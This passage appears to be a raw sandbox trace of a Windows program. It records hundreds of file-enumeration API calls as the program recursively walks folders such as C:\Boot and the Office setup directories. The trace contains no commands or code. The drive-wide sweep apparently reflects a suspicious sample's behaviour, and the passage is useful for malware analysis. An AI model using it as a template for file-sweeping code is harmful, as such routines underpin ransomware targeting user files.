lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.750] FindNextFileW (in: hFindFile=0x3931748, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.750] FindClose (in: hFindFile=0x3931748 | out: hFindFile=0x3931748) returned 1 [0033.750] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x38f06d0 | out: hHeap=0x5f0000) returned 1 [0033.750] FindNextFileW (in: hFindFile=0x6e1eb0, lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0033.751] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x38f06d0 [0033.751] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3931748 [0033.754] FindNextFileW (in: hFindFile=0x3931748, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.754] FindNextFileW (in: hFindFile=0x3931748, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.754] FindClose (in: hFindFile=0x3931748 | out: hFindFile=0x3931748) returned 1 [0033.755] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x38f06d0 | out: hHeap=0x5f0000) returned 1 [0033.755] FindNextFileW (in: hFindFile=0x6e1eb0, lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0033.756] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x38f06d0 [0033.756] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3931748 [0033.756] FindNextFileW (in: hFindFile=0x3931748, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.756] FindNextFileW (in: hFindFile=0x3931748, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.756] FindClose (in: hFindFile=0x3931748 | out: hFindFile=0x3931748) returned 1 [0033.756] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x38f06d0 | out: hHeap=0x5f0000) returned 1 [0033.756] FindNextFileW (in: hFindFile=0x6e1eb0, lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0033.756] FindClose (in: hFindFile=0x6e1eb0 | out: hFindFile=0x6e1eb0) returned 1 [0033.756] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x38e06c8 | out: hHeap=0x5f0000) returned 1 [0033.756] FindNextFileW (in: hFindFile=0x641030, lpFindFileData=0x33cfd00 | out: lpFindFileData=0x33cfd00*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0033.757] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x38e06c8 [0033.757] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*", lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3931748 [0033.757] FindNextFileW (in: hFindFile=0x3931748, lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.757] FindNextFileW (in: hFindFile=0x3931748, lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0033.757] FindClose (in: hFindFile=0x3931748 | out: hFindFile=0x3931748) returned 1 [0033.757] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x38e06c8 | out: hHeap=0x5f0000) returned 1 [0033.757] FindNextFileW (in: hFindFile=0x641030, lpFindFileData=0x33cfd00 | out: lpFindFileData=0x33cfd00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0033.757] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x38e06c8 [0033.757] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*", lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="你d\x16")) returned 0xffffffff [0033.758] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x38e06c8 | out: hHeap=0x5f0000) returned 1 [0033.758] FindNextFileW (in: hFindFile=0x641030, lpFindFileData=0x33cfd00 | out: lpFindFileData=0x33cfd00*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x813b7be0, ftLastWriteTime.dwHighDateTime=0x1d4d5ae, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0033.758] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x38e06c8 [0033.758] FindFirstFileW (in: lpFileName="C:\\MSOCache\\*", lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3931748 [0033.758] FindNextFileW (in: hFindFile=0x3931748, lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.758] FindNextFileW (in: hFindFile=0x3931748, lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0033.758] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x38f06d0 [0033.758] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\*", lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3931808 [0033.833] FindNextFileW (in: hFindFile=0x3931808, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.850] FindNextFileW (in: hFindFile=0x3931808, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0016-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~3")) returned 1 [0034.056] FindNextFileW (in: hFindFile=0x3931848, lpFindFileData=0x33cf58c | out: lpFindFileData=0x33cf58c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8b338890, ftLastAccessTime.dwHighDateTime=0x1d50335, ftLastWriteTime.dwLowDateTime=0x8b338890, ftLastWriteTime.dwHighDateTime=0x1d50335, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.056] FindNextFileW (in: hFindFile=0x3931848, lpFindFileData=0x33cf58c | out: lpFindFileData=0x33cf58c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc40b730, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x265c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.msi", cAlternateFileName="PUBLIS~1.MSI")) returned 1 [0034.056] FindNextFileW (in: hFindFile=0x3931848, lpFindFileData=0x33cf58c | out: lpFindFileData=0x33cf58c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.xml", cAlternateFileName="PUBLIS~1.XML")) returned 1 [0036.464] FindNextFileW (in: hFindFile=0x3931948, lpFindFileData=0x33cee18 | out: lpFindFileData=0x33cee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.464] FindNextFileW (in: hFindFile=0x3931948, lpFindFileData=0x33cee18 | out: lpFindFileData=0x33cee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa60fd8f0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbe2e8f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1915, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.XML", cAlternateFileName="PRJPRO~1.XML")) returned 1 [0036.464] FindClose (in: hFindFile=0x3931948 | out: hFindFile=0x3931948) returned 1 [0036.464] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x3f5ae00 | out: hHeap=0x5f0000) returned 1 [0036.465] FindNextFileW (in: hFindFile=0x3931988, lpFindFileData=0x33cf094 | out: lpFindFileData=0x33cf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Project.en-us", cAlternateFileName="PROJEC~1.EN-")) returned 1 [0036.465] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x3f5ae00 [0036.465] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\*", lpFindFileData=0x33cee18 | out: lpFindFileData=0x33cee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3931948 [0036.465] FindNextFileW (in: hFindFile=0x3931948, lpFindFileData=0x33cee18 | out: lpFindFileData=0x33cee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.465] FindNextFileW (in: hFindFile=0x3931948, lpFindFileData=0x33cee18 | out: lpFindFileData=0x33cee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5b2ebe0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf551ba0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.XML", cAlternateFileName="PROJEC~1.XML")) returned 1 [0036.465] FindClose (in: hFindFile=0x3931948 | out: hFindFile=0x3931948) returned 1 [0036.465] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x3f5ae00 | out: hHeap=0x5f0000) returned 1 [0036.465] FindNextFileW (in: hFindFile=0x3931988, lpFindFileData=0x33cf094 | out: lpFindFileData=0x33cf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.en", cAlternateFileName="")) returned 1 [0036.465] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x3f5ae00 [0036.465] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\*", lpFindFileData=0x33cee18 | out: lpFindFileData=0x33cee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3931948 [0036.465] FindNextFileW (in: hFindFile=0x3931948, lpFindFileData=0x33cee18 | out: lpFindFileData=0x33cee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.466] FindNextFileW (in: hFindFile=0x3931948, lpFindFileData=0x33cee18 | out: lpFindFileData=0x33cee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01be3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0036.466] FindClose (in: hFindFile=0x3931948 | out: hFindFile=0x3931948) returned 1 [0036.466] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x3f5ae00 | out: hHeap=0x5f0000) returned 1 [0036.466] FindNextFileW (in: hFindFile=0x3931988, lpFindFileData=0x33cf094 | out: lpFindFileData=0x33cf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.es", cAlternateFileName="")) returned 1 [0036.466] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x3f5ae00 [0036.466] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\*", lpFindFileData=0x33cee18 | out: lpFindFileData=0x33cee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3931948 [0036.466] FindNextFileW (in: hFindFile=0x3931948, lpFindFileData=0x33cee18 | out: lpFindFileData=0x33cee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.466] FindNextFileW (in: hFindFile=0x3931948, lpFindFileData=0x33cee18 | out: lpFindFileData=0x33cee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4e37e00, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0036.466] FindClose (in: hFindFile=0x3931948 | out: hFindFile=0x3931948) returned 1 [0036.466] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x3f5ae00 | out: hHeap=0x5f0000) returned 1 [0036.466] FindNextFileW (in: hFindFile=0x3931988, lpFindFileData=0x33cf094 | out: lpFindFileData=0x33cf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, 